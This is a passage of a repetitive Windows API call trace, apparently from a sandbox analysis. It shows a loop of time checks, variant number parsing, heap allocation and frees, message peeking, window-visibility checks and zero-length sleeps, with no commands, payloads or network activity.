(hWnd=0x40298) returned 0 [0180.146] Sleep (dwMilliseconds=0x0) [0180.148] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.148] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.148] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.148] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.148] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.148] GetCurrentProcessId () returned 0x9e0 [0180.148] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.148] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.148] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.148] GetTickCount () returned 0x115db33 [0180.148] GetTickCount () returned 0x115db33 [0180.148] GetTickCount () returned 0x115db33 [0180.148] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.148] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.148] GetTickCount () returned 0x115db33 [0180.149] IsWindowVisible (hWnd=0x30268) returned 0 [0180.149] IsWindowVisible (hWnd=0x40298) returned 0 [0180.149] Sleep (dwMilliseconds=0x0) [0180.150] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.150] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.150] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.150] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.150] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.150] GetCurrentProcessId () returned 0x9e0 [0180.150] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.150] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.150] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.150] GetTickCount () returned 0x115db33 [0180.150] GetTickCount () returned 0x115db33 [0180.150] GetTickCount () returned 0x115db33 [0180.150] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.150] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.150] GetTickCount () returned 0x115db33 [0180.151] IsWindowVisible (hWnd=0x30268) returned 0 [0180.151] IsWindowVisible (hWnd=0x40298) returned 0 [0180.151] Sleep (dwMilliseconds=0x0) [0180.152] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.152] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.152] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.152] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.152] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.152] GetCurrentProcessId () returned 0x9e0 [0180.152] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.152] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.152] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.152] GetTickCount () returned 0x115db33 [0180.152] GetTickCount () returned 0x115db33 [0180.152] GetTickCount () returned 0x115db33 [0180.152] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.152] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.152] GetTickCount () returned 0x115db33 [0180.152] IsWindowVisible (hWnd=0x30268) returned 0 [0180.152] IsWindowVisible (hWnd=0x40298) returned 0 [0180.152] Sleep (dwMilliseconds=0x0) [0180.153] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.153] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.153] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.153] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.153] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.153] GetCurrentProcessId () returned 0x9e0 [0180.153] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.153] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.153] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.153] GetTickCount () returned 0x115db33 [0180.153] GetTickCount () returned 0x115db33 [0180.153] GetTickCount () returned 0x115db33 [0180.153] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.153] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.153] GetTickCount () returned 0x115db33 [0180.153] IsWindowVisible (hWnd=0x30268) returned 0 [0180.154] IsWindowVisible (hWnd=0x40298) returned 0 [0180.154] Sleep (dwMilliseconds=0x0) [0180.154] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.154] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.154] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.154] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.154] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.154] GetCurrentProcessId () returned 0x9e0 [0180.154] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.154] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.154] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.154] GetTickCount () returned 0x115db33 [0180.154] GetTickCount () returned 0x115db33 [0180.154] GetTickCount () returned 0x115db33 [0180.154] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.154] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.154] GetTickCount () returned 0x115db33 [0180.155] IsWindowVisible (hWnd=0x30268) returned 0 [0180.155] IsWindowVisible (hWnd=0x40298) returned 0 [0180.155] Sleep (dwMilliseconds=0x0) [0180.155] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.155] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.155] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.155] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.155] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.155] GetCurrentProcessId () returned 0x9e0 [0180.155] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.155] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.155] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.155] GetTickCount () returned 0x115db33 [0180.155] GetTickCount () returned 0x115db33 [0180.155] GetTickCount () returned 0x115db33 [0180.155] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.155] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.155] GetTickCount () returned 0x115db33 [0180.156] IsWindowVisible (hWnd=0x30268) returned 0 [0180.156] IsWindowVisible (hWnd=0x40298) returned 0 [0180.156] Sleep (dwMilliseconds=0x0) [0180.156] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.156] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.156] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.156] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.156] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.156] GetCurrentProcessId () returned 0x9e0 [0180.156] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.156] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.156] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.156] GetTickCount () returned 0x115db33 [0180.156] GetTickCount () returned 0x115db33 [0180.156] GetTickCount () returned 0x115db33 [0180.156] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.156] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.156] GetTickCount () returned 0x115db33 [0180.157] IsWindowVisible (hWnd=0x30268) returned 0 [0180.157] IsWindowVisible (hWnd=0x40298) returned 0 [0180.157] Sleep (dwMilliseconds=0x0) [0180.157] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x1, wMilliseconds=0x3e7)) [0180.157] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.157] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.157] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.157] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.157] GetCurrentProcessId () returned 0x9e0 [0180.157] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.157] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.157] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.157] GetTickCount () returned 0x115db33 [0180.158] GetTickCount () returned 0x115db42 [0180.158] GetTickCount () returned 0x115db42 [0180.158] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.158] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.158] GetTickCount () returned 0x115db42 [0180.158] IsWindowVisible (hWnd=0x30268) returned 0 [0180.158] IsWindowVisible (hWnd=0x40298) returned 0 [0180.158] Sleep (dwMilliseconds=0x0) [0180.158] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.158] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.158] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.158] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.158] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.158] GetCurrentProcessId () returned 0x9e0 [0180.158] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.159] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.159] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.159] GetTickCount () returned 0x115db42 [0180.159] GetTickCount () returned 0x115db42 [0180.159] GetTickCount () returned 0x115db42 [0180.159] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.159] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.159] GetTickCount () returned 0x115db42 [0180.159] IsWindowVisible (hWnd=0x30268) returned 0 [0180.159] IsWindowVisible (hWnd=0x40298) returned 0 [0180.159] Sleep (dwMilliseconds=0x0) [0180.159] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.159] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.159] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.159] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.159] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.159] GetCurrentProcessId () returned 0x9e0 [0180.159] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.159] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.160] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.160] GetTickCount () returned 0x115db42 [0180.160] GetTickCount () returned 0x115db42 [0180.160] GetTickCount () returned 0x115db42 [0180.160] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.160] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.160] GetTickCount () returned 0x115db42 [0180.160] IsWindowVisible (hWnd=0x30268) returned 0 [0180.160] IsWindowVisible (hWnd=0x40298) returned 0 [0180.160] Sleep (dwMilliseconds=0x0) [0180.160] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.160] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.160] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.160] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.160] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.160] GetCurrentProcessId () returned 0x9e0 [0180.160] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.160] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.160] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.160] GetTickCount () returned 0x115db42 [0180.161] GetTickCount () returned 0x115db42 [0180.161] GetTickCount () returned 0x115db42 [0180.161] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.161] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.161] GetTickCount () returned 0x115db42 [0180.161] IsWindowVisible (hWnd=0x30268) returned 0 [0180.161] IsWindowVisible (hWnd=0x40298) returned 0 [0180.161] Sleep (dwMilliseconds=0x0) [0180.161] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.161] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.161] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.161] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.161] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.161] GetCurrentProcessId () returned 0x9e0 [0180.161] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.161] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.161] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.161] GetTickCount () returned 0x115db42 [0180.161] GetTickCount () returned 0x115db42 [0180.162] GetTickCount () returned 0x115db42 [0180.162] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.162] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.162] GetTickCount () returned 0x115db42 [0180.162] IsWindowVisible (hWnd=0x30268) returned 0 [0180.162] IsWindowVisible (hWnd=0x40298) returned 0 [0180.162] Sleep (dwMilliseconds=0x0) [0180.162] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.162] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.162] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.162] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.162] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.163] GetCurrentProcessId () returned 0x9e0 [0180.163] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.163] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.163] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.163] GetTickCount () returned 0x115db42 [0180.163] GetTickCount () returned 0x115db42 [0180.163] GetTickCount () returned 0x115db42 [0180.163] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.163] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.163] GetTickCount () returned 0x115db42 [0180.163] IsWindowVisible (hWnd=0x30268) returned 0 [0180.163] IsWindowVisible (hWnd=0x40298) returned 0 [0180.163] Sleep (dwMilliseconds=0x0) [0180.163] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.163] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.163] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.163] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.163] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.164] GetCurrentProcessId () returned 0x9e0 [0180.164] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.164] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.164] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.164] GetTickCount () returned 0x115db42 [0180.164] GetTickCount () returned 0x115db42 [0180.164] GetTickCount () returned 0x115db42 [0180.164] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.164] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.164] GetTickCount () returned 0x115db42 [0180.164] IsWindowVisible (hWnd=0x30268) returned 0 [0180.164] IsWindowVisible (hWnd=0x40298) returned 0 [0180.164] Sleep (dwMilliseconds=0x0) [0180.164] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.164] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.164] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.165] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.165] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.165] GetCurrentProcessId () returned 0x9e0 [0180.165] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.165] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.165] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.165] GetTickCount () returned 0x115db42 [0180.165] GetTickCount () returned 0x115db42 [0180.165] 